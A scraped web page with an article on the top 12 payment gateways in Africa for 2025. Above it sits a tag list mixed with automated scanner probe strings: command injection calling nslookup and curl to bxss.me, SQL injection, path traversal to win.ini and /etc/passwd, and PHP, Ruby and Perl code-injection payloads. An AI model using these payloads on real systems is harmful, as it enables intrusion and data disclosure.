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  • `(nslookup -q=cname hitrgzxqmqabnd502e.bxss.me||curl hitrgzxqmqabnd502e.bxss.me)`
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  • -1" OR 2+74-74-1=0+0+0+1 --
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  • ../../../../../../../../../../../../../../windows/win.ini
  • ';print(md5(31337));$a='
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  • '"()&%
  • '+'A'.concat(70-3).concat(22*4).concat(102).concat(76).concat(119).concat(70)+(require'socket' Socket.gethostbyname('hitbr'+'ljmwwviw41a87.bxss.me.')[3].to_s)+'
  • 'A'.concat(70-3).concat(22*4).concat(120).concat(66).concat(108).concat(85)+(require'socket' Socket.gethostbyname('hitwc'+'tkogxtuh95a0b.bxss.me.')[3].to_s)
  • ".gethostbyname(lc("hitel"."sortefnnee8dd.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(84).chr(110).chr(69)."
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  • |(nslookup${IFS}-q${IFS}cname${IFS}hitwpvjspicold8758.bxss.me||curl${IFS}hitwpvjspicold8758.bxss.me)
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  • Account Types
  • imageAcquiring
  • Alternative Payment Methods
  • Alternative Payment Methods
  • API integration
  • Banking as a Service (BaaS)
  • Banking Solutions
  • imageBanks
  • Bill Payment Services
  • Blockchain Development
  • bxss.me
  • bxss.me/t/xss.html?
  • c:/windows/win.ini
  • Challenger Banks
  • Contactless Payments
  • Contract Drafting and Review
  • Credit Card Processing
  • Cross-Border Payments
  • Crypto Acquiring
  • Crypto exchange
  • Crypto Payment Gateway
  • Crypto Solutions
  • Cryptocurrency Exchanges
  • Cryptocurrency Trading
  • Debit Card Processing
  • Digital Payments
  • Digital-only Banks
  • Dispute Resolution
  • E-commerce Merchant Accounts
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  • expr 9000532830 - 919406
  • file:///etc/passwd
  • Financial Services
  • Financial Technology
  • gethostbyname(lc('hithd'.'rgfgpyhad042b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(76).chr(107).chr(73)
  • High-Risk Payment Processors
  • Highrisk Merchant Accounts
  • Http://bxss.me/t/fit.txt
  • http://bxss.me/t/fit.txt.jpg
  • HttP://bxss.me/t/xss.html?
  • http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
  • International Merchant Accounts
  • Investment Apps
  • Investment Platforms
  • Legal Services
  • imageMerchant Accounts
  • Merchant Acquiring Services
  • Mobile Payments
  • Mobile-first Banks
  • Money Transfer Services
  • Neo Banks
  • Offshore Solutions
  • Online Banking
  • Open Banking Solutions
  • Payment Gateways
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  • Payment Processing
  • Payment Processing Solutions
  • Payment Processors and Gateways
  • Payments and Transactions
  • Peer-to-Peer (P2P) Payments
  • Personal Finance Management
  • Point of Sale
  • redirtest.acx
  • Regulatory Compliance
  • response.write(9474572*9806451)
  • Risk Management
  • Stock Trading
  • Traditional Banks
  • Traditional Payment Processors
  • Traditional Payment Processors
  • Transaction Services
  • Wallet Services
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Top 12 Payment Gateways in Africa for 2025

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  • Top 12 Payment Gateways in Africa for 2025

As Africa undergoes rapid digital transformation, the demand for efficient, secure, and localized payment gateways is soaring. Businesses across sectors — from e-commerce to financial services, travel, gaming, and digital platforms — require reliable payment solutions to manage cross-border payments, mobile money integration, and currency conversions. This article presents the Top 12 Payment Gateways in Africa for 2025, ideal for local merchants, international companies expanding into the continent, and startups operating in high-growth markets.

Why Payment Gateways Matter in Africa

Africa is not a monolithic market. With over 50 countries, unique regulatory environments, diverse payment preferences, and limited traditional banking infrastructure, the need for region-specific payment solutions is paramount. Mobile money services dominate in East Africa, card payments are more prevalent in South Africa, and cryptocurrency adoption is gaining momentum in Nigeria and Ghana. A top-tier payment gateway in Africa must offer:

  • Mobile money support (e.g., M-Pesa, MTN Mobile Money)
  • Multi-currency processing
  • High-security protocols (PCI-DSS compliance)
  • Fraud prevention and risk management
  • Simple API integrations
  • Cross-border transaction capabilities

Top 12 Payment Gateways in Africa (2025)

1. Flutterwave (Nigeria / Pan-African)

Flutterwave is one of Africa’s leading fintech companies, powering payments in over 30 African countries. It supports cards, mobile money, bank transfers, and international payment methods. Its integration tools (APIs, plugins) make it ideal for merchants, while Barter and Send by Flutterwave appeal to consumers.

2. Paystack (Nigeria / Ghana / South Africa / Kenya)

Now part of Stripe, Paystack is known for its user-friendly API, fraud prevention, and quick onboarding. It processes millions of payments monthly and supports card, mobile money, USSD, and bank transfers.

3. DPO Group (Kenya / South Africa / 20+ countries)

Direct Pay Online (DPO) operates in over 20 African markets and specializes in online, mobile, and in-person payments. It supports Visa, MasterCard, American Express, mobile money, and more. It’s popular in travel, e-commerce, and hospitality sectors.

4. Interswitch WebPAY (Nigeria)

Interswitch is one of Nigeria’s oldest digital payments players. WebPAY allows seamless card payments for e-commerce and supports tokenization, 3D secure, and PCI DSS compliance.

5. Cellulant (Kenya / Nigeria / Zambia / Ghana / 30+ countries)

A pioneer in mobile-first payments, Cellulant powers payment acceptance via bank apps, mobile wallets, and USSD. It’s widely used in agriculture, government, and education sectors.

6. PayGate (a DPO Company) (South Africa)

PayGate offers robust online payment solutions, card acceptance, and recurring billing. It’s trusted by thousands of South African merchants and supports integration with WooCommerce, Shopify, and custom-built sites.

7. Pesapal (Kenya / Uganda / Tanzania / Rwanda)

Pesapal offers an inclusive payment ecosystem supporting mobile money, cards, and point-of-sale (POS) transactions. It provides booking tools and analytics, making it ideal for hospitality and SME markets.

8. Yoco (South Africa)

Although primarily a POS solution, Yoco is becoming a payment gateway player in the SME ecosystem. It offers online invoicing, payment links, and integration with e-commerce stores.

9. iPay Africa (Kenya)

Popular among SMEs and online retailers in Kenya, iPay supports M-Pesa, Airtel Money, Equitel, Visa, MasterCard, and more. It offers excellent checkout experience and fraud management tools.

10. PayFast (South Africa)

Known for its simplicity and trust, PayFast supports EFT, card payments, Masterpass, SnapScan, and even Bitcoin. It’s widely used by freelancers, NGOs, and e-commerce stores.

11. VoguePay (Nigeria)

VoguePay offers secure, flexible payment tools for businesses and developers. It supports Bitcoin, cards, and bank transfers. It’s favored by international users targeting the Nigerian market.

12. Korapay (Nigeria / Ghana)

Korapay provides cross-border payment infrastructure, supporting seamless payouts, collections, and compliance-ready APIs. It is gaining traction among fintech startups and digital platforms.

Trends Shaping Africa’s Payment Landscape

  1. Mobile-First Commerce: Mobile money continues to drive financial inclusion and e-commerce growth.
  2. Cryptocurrency Integration: Many gateways are integrating Bitcoin and stablecoin payments.
  3. Cross-Border Payments: Simplifying pan-African commerce through single APIs.
  4. Embedded Finance: Payment APIs are enabling embedded lending, insurance, and investing.
  5. RegTech Integration: KYC, AML, and local compliance are being automated.

Choosing the Right Gateway for Your Business

When selecting a payment gateway in Africa, consider:

  • Your primary market (local vs. pan-African)
  • Support for mobile money and card payments
  • Settlement timelines and currency options
  • Pricing, transaction fees, and ease of integration
  • Customer support and fraud protection tools

Conclusion

Africa’s payment ecosystem is diverse, fast-growing, and full of innovation. The right payment gateway can help you unlock customer segments, reduce friction, and expand across borders. Whether you’re launching an e-commerce store in Lagos, scaling a digital service in Nairobi, or targeting the entire continent, these 12 gateways represent the best of Africa’s fintech frontier in 2025.

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